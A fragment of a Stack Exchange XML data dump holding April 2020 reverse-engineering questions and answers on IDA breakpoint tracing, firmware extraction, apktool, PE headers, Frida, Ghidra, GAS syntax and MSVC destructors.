  <row Id="24699" PostTypeId="1" AcceptedAnswerId="24701" CreationDate="2020-04-13T20:14:39.307" Score="0" ViewCount="212" Body="&lt;p&gt;I am reversing Cryptex.exe 1.0 from Eldad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3hjS9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3hjS9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is unknown-data buffer address stored in edx which gets used as parameter for CryptHashData, which will hash 20 Bytes from there. Now I want to find which function actually writes this buffer (edx stores 0019F578 at this point of debugging)&#xA;I don't get smart with [esp+C], because esp should be the last push exc, and counting from there it should be push 0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to try is setting a breakpoint on .data 0019F578 without break (since it gets used alot by the program in general) and tracing all functions called till the breakpoint ds:CryptHashData. But that doesn't work in IDA. IDA will not recognize other breakpoints with break after I set up this.&#xA;I'm glad to learn new methods about tracing, since it's very important to know.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MC445.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MC445.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26677" LastActivityDate="2020-04-14T10:24:42.240" Title="Trace back regularly used .data variable in IDA" Tags="|breakpoint|tracing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24700" PostTypeId="1" CreationDate="2020-04-14T01:08:25.337" Score="0" ViewCount="494" Body="&lt;p&gt;I'm trying to explore the firmware (Huawei LiteOS) of a Hi3518-based IP camera. From my explorations, it seems to be an uncompressed &amp;amp; unencrypted filesystem image but I can't seem to access the contents. I have no serial access to the device at all.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running file on the firmware file returns &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;u-boot legacy uImage, 7518-hi3518-liteoslzm, Linux/ARM, Filesystem Image (any type) (Not compressed), 4002560 bytes, Sat Apr 20 04:36:35 2019, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x17BDF51E, Data CRC: 0x5C5FF340&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk only returns the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             uImage header, header size: 64 bytes, header CRC: 0x17BDF51E, created: 2019-04-20 04:36:35, image size: 4002560 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x5C5FF340, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: &quot;7518-hi3518-liteoslzm&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extracting everything after the header results in a binary file that I haven't been able to dump  with JFFS2 (Wrong bit mask), SquashFS (No SquashFS superblock). Lzma says file format not recognized.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opcodes show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2657993       0x288EC9        Ubicom32 instructions, function epilogue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hexdump added - Apr 16, 2020 &#xA;(Full at: &lt;a href=&quot;https://drive.google.com/file/d/1LXHaFbhyl5_Jba1Gsoa0JzuYE-SRy12o/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1LXHaFbhyl5_Jba1Gsoa0JzuYE-SRy12o/view?usp=sharing&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First 12 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000040 12f0 003d 52c8 0065 0000 0000 0000 0000&#xA;0000050 c030 54fb 8c5e 5871 0405 3f10 4674 2100&#xA;0000060 6748 1004 00ca 00ce 00d2 450e 0040 0561&#xA;0000070 401a ff88 efef efef efef efef efef efef&#xA;0000080 efef 6b6f 26b4 0099 8b84 0f49 9440 f4a6&#xA;0000090 0400 4b04 ff4f bf2f bfbf bfbf bfbf bfbf&#xA;00000a0 bfbf bfbf bfbf afcd c055 7a71 8174 8401&#xA;00000b0 1889 4018 5470 003c e784 03c4 a040 adc0&#xA;00000c0 0401 1aeb 4018 3880 0189 2644 1819 e040&#xA;00000d0 9954 4401 d88d 4001 41e8 5a3c c490 2200&#xA;00000e0 0cc4 e00c 2221 d400 0200 a5a1 2003 c874&#xA;00000f0 00cc 92f2 0c0d 6820 d843 2200 ede4 2000&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entropy and Binvis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YO94Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YO94Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y5bnk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5bnk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32788" LastEditorUserId="32788" LastEditDate="2020-04-16T05:28:14.650" LastActivityDate="2020-04-16T05:28:14.650" Title="Trying to extract an uncompressed Filesystem uImage" Tags="|firmware|firmware-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24701" PostTypeId="2" ParentId="24699" CreationDate="2020-04-14T10:24:42.240" Score="2" Body="&lt;p&gt;Firstly, let's understand what goes into &lt;em&gt;edx&lt;/em&gt;. &lt;em&gt;edx&lt;/em&gt; contains the first argument passed to this function which is a pointer the data that we want to compute its MD5 hash. Looking at images, stack frame of the current function is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp + 0x0 --&amp;gt; | local_var_8 |&#xA;esp + 0x4 --&amp;gt; | local_var_4 |&#xA;esp + 0x8 --&amp;gt; | return_addr |&#xA;esp + 0xC --&amp;gt; |    arg_0    |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the beginning of the function, &lt;em&gt;sub esp, 8&lt;/em&gt; reserves 8 bytes on the stack for two local variables. Then you have the return address and arguments coming afterward. All those pushes that are used to pass arguments to &lt;em&gt;CryptCreateHash&lt;/em&gt; will be poped back by that function before it returns to the current function, so the previous position of the stack will be preserved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe true reverse engineering consists of understanding the code, not blind trace. Instead of tracing a value on the stack, it is better to look for the caller of this function, understand who has called this function and wherein the code is this function called, and then what is the parameter sent to this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answering the second part of your question, you can customize breakpoints in IDA using some Python skills. You can create a conditional breakpoint for example and disable the break action as you have done. Whenever you hit this breakpoint, you can log the content of &lt;em&gt;eip&lt;/em&gt; to find which instruction or wherein the code is this data accessed. If it is before this function, just log the data in, if it is after, you can enable break action again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that you need to consider some matters:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have to practice IDA python APIs. e.g. for getting a register content you have to call GetRegValue. &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/scriptable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; will help you to begin. &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; also you can find the list of all IDA python APIs.&lt;/li&gt;&#xA;&lt;li&gt;If you set a breakpoint on a data that is passed to a lot of windows APIs such as crypt APIs, you will hit this breakpoint within a lot of library codes. Always look at the address space and if you are not inside your main program, skip them to avoid reversing library functions that are irrelevant to your main program.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25443" LastActivityDate="2020-04-14T10:24:42.240" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24702" PostTypeId="2" ParentId="23433" CreationDate="2020-04-14T10:35:22.233" Score="0" Body="&lt;p&gt;What you want is call inline patching, you can read about it &lt;a href=&quot;https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I don't know any generic tool for that, but it is relatively easy to create one for yourself if you understand the logic behind it.&lt;/p&gt;&#xA;" OwnerUserId="25443" LastActivityDate="2020-04-14T10:35:22.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24704" PostTypeId="1" CreationDate="2020-04-14T11:02:58.000" Score="2" ViewCount="555" Body="&lt;p&gt;I am facing an error while try to repack an apk with apkool. below is the error trace.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_ic_search_api_material.xml'.&#xA;W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_ic_voice_search_api_material.xml'.&#xA;W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_item_background_holo_light.xml'.&#xA;W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_list_divider_material.xml'.&#xA;W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_list_selector_background_transition_holo_dark.xml'.&#xA;brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\HOMA~1\AppData\Local\Temp\brut_util_Jar_3949150857603741809118973406025728052.tmp, compile, --dir, C:\Users\ccre\res, --legacy, -o, C:\Users\ccre\build\resources.zip]&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone tell me what is wrong here and why this error &lt;strong&gt;[error: invalid file path]&lt;/strong&gt; is shown while the file is there?!&lt;/p&gt;&#xA;" OwnerUserId="31398" LastActivityDate="2020-04-21T17:20:37.817" Title="Invalid file path error while trying to rebuild with apktool and aapt2" Tags="|android|unpacking|anti-debugging|apk|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24705" PostTypeId="1" CreationDate="2020-04-14T21:53:49.877" Score="2" ViewCount="539" Body="&lt;p&gt;I got the dllbase address from PEB InMemoryOrderModuleListItem list and I am trying to access the PE dos header file of a DLL. I am new to reverse engineering and in the past, I accessed the dos header by converting the handle of the DLL to the PIMAGE_DOS_HEADER and continue from there. How can I get the dos header by the dllbase address?&#xA;I tried to convert the DLL base address to the PIMAGE_DOS_HEADER but in the debugger, I get an error of unable to read memory. &lt;/p&gt;&#xA;" OwnerUserId="32799" LastActivityDate="2020-04-15T18:30:31.197" Title="Access DLL PE file by PEB dllbase address" Tags="|pe|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24706" PostTypeId="2" ParentId="24705" CreationDate="2020-04-15T04:03:49.840" Score="-1" Body="&lt;p&gt;I'm not quite sure what you're asking, but I'll take a stab at it either way. You can use the following apis: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateFile&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateFileMapping&lt;/a&gt;, and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile&quot; rel=&quot;nofollow noreferrer&quot;&gt;MapViewOfFile&lt;/a&gt; to be able to get what you're looking for. Something like this will work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HANDLE hFile = CreateFile(dll, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);&#xA;HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);&#xA;LPVOID lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);&#xA;PIMAGE_DOS_HEADER DosHeader = static_cast&amp;lt;PIMAGE_DOS_HEADER&amp;gt;(lpFileBase);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no error checking in this code block so make sure to implement it, but lpFileBase will give you the base address of the dll you are looking for and then you can start parsing the DosHeader. Keep in mind you will only be able to read only. Change the flags if you need more than that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2020-04-15T04:03:49.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24707" PostTypeId="1" CreationDate="2020-04-15T04:19:17.290" Score="0" ViewCount="401" Body="&lt;pre&gt;&lt;code&gt;Module.enumerateExports(&quot;libgame.so&quot;, { onMatch: function(e) { &#xA;&#xA;console.log(&quot;type &quot; + e.type + &quot; name of function = &quot; + e.name + &quot; &quot; +    e.address); }&#xA;, onComplete: function() { } });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it does not list all the functions and variables wich im 100% sure some of them are being used after taking a look at ida pro , also there is two odex files in the app user folder , base.odex and some generated odex name based on timestamp , can &lt;code&gt;enumerateloadedClasses&lt;/code&gt; load the other odex file or just the base.odex ? im thinking maybe some of the library code is being dumped as odex then calling DynamiteLoaderClassLoader to load it , also the addresses provided does not much ida for exemple on frida i get 0xc32bcf64 but the function on ida its 0x25E4F64&lt;/p&gt;&#xA;" OwnerUserId="32569" LastActivityDate="2020-04-15T04:19:17.290" Title="enumerateExports missing functions" Tags="|frida|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24708" PostTypeId="1" AcceptedAnswerId="24710" CreationDate="2020-04-15T12:25:40.230" Score="2" ViewCount="1661" Body="&lt;p&gt;Ghidra is renaming &lt;code&gt;EAX&lt;/code&gt; as &lt;code&gt;param_1&lt;/code&gt;. Why is this happening? I find it very confusing since it is clearly not a parameter and different uses of &lt;code&gt;EAX&lt;/code&gt; are named as if they held the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HxFMX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HxFMX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2020-04-15T14:23:54.750" Title="Ghidra renaming EAX" Tags="|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24710" PostTypeId="2" ParentId="24708" CreationDate="2020-04-15T14:20:04.190" Score="2" Body="&lt;p&gt;This is a feature that can be deactivated by unticking the option &lt;code&gt;Markup Register Variable Reference&lt;/code&gt; found in the &lt;code&gt;Edit -&amp;gt; Tool Options&lt;/code&gt; window in the pane &lt;code&gt;Options -&amp;gt; Listing Fields -&amp;gt; Operands Field&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would personally not turn this off, because I suspect the proper way to resolve this is to get Ghidra to recognize the local variables the &lt;code&gt;eax&lt;/code&gt; usages present, which will then be renamed accordingly. This should only require some minor cleanup of the decompiled code, possibly even just by using &lt;code&gt;Commit Local Names&lt;/code&gt;, which is found in the context menu of the decompiler window.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-04-15T14:20:04.190" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24711" PostTypeId="2" ParentId="24708" CreationDate="2020-04-15T14:23:54.750" Score="-1" Body="&lt;p&gt;Ghidra renamed EAX as &lt;code&gt;param_1&lt;/code&gt; because it is a parameter for the current function. This calling convention is similar to &lt;code&gt;fastcall&lt;/code&gt;, although not quite the same. Selecting how to pass arguments to functions is up to the compiler, so long as the code belong to the same program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning of your code, &lt;code&gt;param_1&lt;/code&gt; (EAX) contains a pointer to a &lt;code&gt;OLECHAR&lt;/code&gt; object. Later, it is saved to &lt;code&gt;local_8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;@2af4 MOV param_1,EDI&lt;/code&gt;. This sets the first parameter to the &lt;em&gt;next&lt;/em&gt; call, @2af6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because EAX is used as parameter for many other functions inside your code, it may be correct to name it &lt;code&gt;param_x&lt;/code&gt; even when the value is clearly not the same. On 2b04, the saved original parameter is loaded into EAX, again, being the first parameter for the &lt;em&gt;next&lt;/em&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I like to use register names and not renaming them, but what you see here does make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You can see that when calling &lt;em&gt;external&lt;/em&gt; functions, like &lt;code&gt;FindResourceW&lt;/code&gt; the calling convention changes and &lt;code&gt;param_1&lt;/code&gt; is now on the stack. This is where it is shown in Green rather than Yellow.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-15T14:23:54.750" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24712" PostTypeId="2" ParentId="3919" CreationDate="2020-04-15T15:20:40.093" Score="0" Body="&lt;p&gt;The original referenced blog has gone, however there is a lot of useful information available at &lt;a href=&quot;https://heyrick.eu/blog/index.php?diary=20180423&quot; rel=&quot;nofollow noreferrer&quot;&gt;HeyRick's blog&lt;/a&gt; and later again on &lt;a href=&quot;https://heyrick.eu/blog/index.php?diary=20180811&quot; rel=&quot;nofollow noreferrer&quot;&gt;HeyRick's Blog&lt;/a&gt; a lot of this appears to be the patent repeated but there is some further testing included: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bit     Parameter           Description&#xA;0 &amp;amp; 1   Water temperature   00 = cold&#xA;                            01 = warm&#xA;                            10 = 83°C.&#xA;                            11 = 93°C.&#xA;2 &amp;amp; 3   Cartridge charge    00 = fast charge with soak&#xA;                            01 = fast charge without soak&#xA;                            10 = slow charge with soak&#xA;                            11 = slow charge without soak&#xA;4, 5, 6 &amp;amp; 7 Beverage volume 0000 = 50 ml&#xA;                            0001 = 60 ml&#xA;                            0010 = 70 ml&#xA;                            0011 = 80 ml&#xA;                            0100 = 90 ml&#xA;                            0101 = 100 ml&#xA;                            0110 = 110 ml&#xA;                            0111 = 130 ml&#xA;                            1000 = 150 ml&#xA;                            1001 = 170 ml&#xA;                            1010 = 190 ml&#xA;                            1011 = 210 ml&#xA;                            1100 = 230 ml&#xA;                            1101 = 250 ml&#xA;                            1110 = 275 ml&#xA;                            1111 = 300 ml&#xA;8, 9 &amp;amp; 10 Flow rate         000 = 30%&#xA;                            001 = 40%&#xA;                            010 = 50%&#xA;                            011 = 60%&#xA;                            100 = 70%&#xA;                            101 = 80%&#xA;                            110 = 90%&#xA;                            111 = 100%&#xA;11 &amp;amp; 12 Purge               00 = slow flow/short period&#xA;                            01 = slow flow/long period&#xA;                            10 = fast flow/short period&#xA;                            11 = fast flow/long period&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently there is a difference between EU and non-EU models too.&lt;/p&gt;&#xA;" OwnerUserId="18831" LastEditorUserId="18831" LastEditDate="2020-04-15T16:42:59.073" LastActivityDate="2020-04-15T16:42:59.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24713" PostTypeId="1" AcceptedAnswerId="24719" CreationDate="2020-04-15T17:40:31.247" Score="2" ViewCount="113" Body="&lt;p&gt;Let's suppose I have two programs in assembly code. And I want to check if they both came from the same source code, but one was compiled with optimizations. Is there a tool that can do this? Or some general process that can verify this?&lt;/p&gt;&#xA;" OwnerUserId="32807" LastEditorUserId="32807" LastEditDate="2020-04-15T17:47:59.110" LastActivityDate="2020-04-15T21:40:31.517" Title="Way to check if two assembly programs (one possibly compiled with optimizations) come from the same C source code?" Tags="|assembly|compiler-optimization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24714" PostTypeId="2" ParentId="24694" CreationDate="2020-04-15T18:07:42.087" Score="3" Body="&lt;p&gt;I think your confusion stems from the fact that quoted part of the spec is talking about the &lt;em&gt;process entry point&lt;/em&gt; which is a different concept from the C &lt;code&gt;main&lt;/code&gt; function. The &lt;code&gt;main&lt;/code&gt; is called by the C library startup code so it will follow the standard calling sequence rather than &quot;Initial process stack layout&quot;. For 386, it means that &lt;code&gt;argc&lt;/code&gt; will be the first value passed on the stack after the return address, and &lt;code&gt;argv&lt;/code&gt; will be the second. I.e. at the beginning of &lt;code&gt;main&lt;/code&gt;, the layout will look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|                |&#xA;+----------------+&#xA;| argv           | &amp;lt;-- esp+8&#xA;+----------------+&#xA;| argc           | &amp;lt;-- esp+4&#xA;+----------------+&#xA;| return address | &amp;lt;-- esp&#xA;+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the compiler decides to use the frame pointer, then &lt;code&gt;argc&lt;/code&gt; will be typically accessed as &lt;code&gt;[ebp+8]&lt;/code&gt; due to the extra 4 bytes taken by the saved &lt;code&gt;ebp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-15T18:07:42.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24715" PostTypeId="1" AcceptedAnswerId="24717" CreationDate="2020-04-15T18:13:29.463" Score="2" ViewCount="592" Body="&lt;p&gt;I have an asm program made with intel syntax. In this program, I am using this syntax &lt;code&gt;jz $+1&lt;/code&gt; from INTEL (+gcc), that means that I jump into the &lt;code&gt;jz&lt;/code&gt; instruction (which is 2 bytes). I jump 1 byte further the current instruction.&#xA;I am trying to find what is the correct syntax to do the same thing in GAS AT&amp;amp;T syntax, but I can't find the information.&#xA;Does anyone know that?&lt;/p&gt;&#xA;" OwnerUserId="23314" LastActivityDate="2020-05-15T21:05:10.650" Title="What is the equivalent of the dollar sign from jmp $+1 in GAS syntax?" Tags="|assembly|intel|gas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24716" PostTypeId="2" ParentId="24705" CreationDate="2020-04-15T18:30:31.197" Score="2" Body="&lt;p&gt;The DLL base address is the address of the &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; struct. If you don't find 'MZ' at the DLL base address, you probably have the wrong address.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-04-15T18:30:31.197" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24717" PostTypeId="2" ParentId="24715" CreationDate="2020-04-15T20:18:13.070" Score="2" Body="&lt;p&gt;This is not really an RE question, but I think &lt;code&gt;.&lt;/code&gt; is used to refer to current location in many GAS architectures.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-15T20:18:13.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24718" PostTypeId="2" ParentId="24715" CreationDate="2020-04-15T20:31:01.283" Score="1" Body="&lt;p&gt;you can use intel syntax if you prefer in gas and use $+1 to jump into the middle of the instruction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ cat foo.s&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.intel_syntax noprefix&#xA;.global start&#xA;        _start:&#xA;        jz $+1&#xA;        .byte 0x25,0x45,0x33,0x40,0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assemble &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ as -o foo.o foo.s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassemble &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump.exe -d foo.o&#xA;foo.o:     file format pe-x86-64&#xA;Disassembly of section .text:&#xA;0000000000000000 &amp;lt;_start&amp;gt;:&#xA;   0:   74 ff                   je     1 &amp;lt;_start+0x1&amp;gt;&#xA;   2:   25 45 33 40 00          and    $0x403345,%eax&#xA;   7:   90                      nop&#xA;   8:   90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;link &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ld -m i386pep -o foo foo.o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;debug&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb ./foo&#xA;GNU gdb (GDB) 8.2.1&#xA;&#xA;(gdb) break _start&#xA;Breakpoint 1 at 0x100401000&#xA;(gdb) r&#xA;Starting program: &#xA;[New Thread 7876.0x2614]&#xA;&#xA;Breakpoint 1, 0x0000000100401000 in __rt_psrelocs_start ()&#xA;(gdb) x/2i $rip&#xA;=&amp;gt; 0x100401000 &amp;lt;__rt_psrelocs_start&amp;gt;:&#xA;    je     0x100401001 &amp;lt;__rt_psrelocs_start+1&amp;gt;&#xA;   0x100401002 &amp;lt;__rt_psrelocs_start+2&amp;gt;: and    $0x403345,%eax&#xA;&#xA;(gdb) si&#xA;0x0000000100401001 in __rt_psrelocs_start ()&#xA;(gdb) x/2i $rip&#xA;=&amp;gt; 0x100401001 &amp;lt;__rt_psrelocs_start+1&amp;gt;:&#xA;    jmpq   *0x403345(%rip)        # 0x10080434c&#xA;&#xA;   0x100401007 &amp;lt;__rt_psrelocs_start+7&amp;gt;: nop&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-04-15T20:31:01.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24719" PostTypeId="2" ParentId="24713" CreationDate="2020-04-15T21:40:31.517" Score="4" Body="&lt;p&gt;While you can potentially prove that two pieces of binary code are &lt;em&gt;equivalent&lt;/em&gt; (i.e. they produce the same results given the same input), this does not by itself mean that the source code was the same. For example, the following two snippets will likely be compiled to the same binary even though the source is different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int f(int x)&#xA; {&#xA;  return x+1;&#xA; }&#xA;&#xA; int g(int y)&#xA; {&#xA;  return ++y;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(check on &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you do want to prove that (for example) two functions are equivalent, you can try many different approaches, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manual comparison of assembly code/binary diffing (may not work if very different compilers or optimizations settings were used)&lt;/li&gt;&#xA;&lt;li&gt;decompile both functions and compare outputs (same caveat)&lt;/li&gt;&#xA;&lt;li&gt;if the input state is not huge, you can run both functions with all possible inputs and compare outputs&lt;/li&gt;&#xA;&lt;li&gt;in some cases things like symbolic execution or &lt;a href=&quot;https://yurichev.com/news/20200410_CBMC_etc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SMT solvers&lt;/a&gt; can be applied&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A more generic problem of detecting authorship of arbitrary code is called &quot;code provenance&quot; and there are several papers on the topic, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Who Wrote This Code? Identifying the Authors of Program Binaries&lt;/em&gt; (Nathan Rosenblum et al.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;BinPro: A Tool for Binary Source Code Provenance&lt;/em&gt; (Dhaval Miyani et al.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-15T21:40:31.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24721" PostTypeId="1" AcceptedAnswerId="24726" CreationDate="2020-04-16T03:16:59.317" Score="4" ViewCount="556" Body="&lt;p&gt;I'm reversing a program which I assume was compiled with MSVC. It's seeming like the first entry in each vtable is the class' destructor. However, when I look at the disassembly and decompilation, it seems like the destructors all take a second argument, and that the object's memory is only freed if that second argument is nonnull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose for this second argument? I would think that, if it's a destructor, the class should always be destructed and its memory freed. So why the second argument which could prohibit the memory from being freed up?&lt;/p&gt;&#xA;" OwnerUserId="32644" LastActivityDate="2020-04-18T21:55:51.200" Title="MSVC Destructors with 2 Arguments" Tags="|msvc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
